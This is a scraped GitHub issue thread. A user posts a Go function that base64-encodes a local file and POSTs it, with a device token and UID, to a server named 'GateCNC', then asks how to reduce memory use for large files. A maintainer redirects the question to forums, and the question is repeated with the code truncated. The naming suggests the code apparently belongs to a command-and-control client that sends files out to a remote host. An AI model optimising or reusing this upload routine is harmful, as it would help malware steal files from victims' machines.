You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
`func UploadClientFile(upload string) error { //UPLOADS CLIENT FILE TO SERVERS
var content []byte
content, err = ioutil.ReadFile(upload)
if err != nil {
return err
}
data := []byte(content)
str := base64.StdEncoding.EncodeToString(data)
res1 := strings.ReplaceAll(upload, "\\", "_")
Base64 := UploadFile{
Type: "ClientFile",
Token: DeviceToken,
UID: UID(),
UpFile: str,
File: res1,
}
RequestBody, err := json.Marshal(Base64)
if err != nil {
return err
}
resp, err := http.Post(GateCNC, "application/json", bytes.NewBuffer(RequestBody))
if err != nil {
fmt.Println("Could not connect to website to send dir file ", err)
}
defer resp.Body.Close()
fmt.Println(string(RequestBody))
CommandComplete("3") //COMPLETED
return err
}`
the issue I have with this code is if it reads a big file (5mb and etc and up) memory usage of the program goes up and never comes back down, how can this code over all be improved? I am loading in a whole file using ReadAll in to a string canthis be improved? if so can someone post how? or modify the code, I tried many things. also can the post request be improved too?
The text was updated successfully, but these errors were encountered:
Unlike some projects, we don't use the issue tracker for questions. You will get better and faster answers if you use a forum, as described at https://golang.org/wiki/Questions. Thanks.
When asking the question in a forum, please explain exactly how you are measuring the memory usage of the program. Go is a garbage collected language, so if the heap gets big for a while it will say big for several minutes even if most of the heap is no longer in use.
`func UploadClientFile(upload string) error { //UPLOADS CLIENT FILE TO SERVERS
var content []byte
}`
the issue I have with this code is if it reads a big file (5mb and etc and up) memory usage of the program goes up and never comes back down, how can this code over all be improved? I am loading in a whole file using ReadAll in to a string canthis be improved? if so can someone post how? or modify the code, I tried many things. also can the post request be improved too?
The text was updated successfully, but these errors were encountered: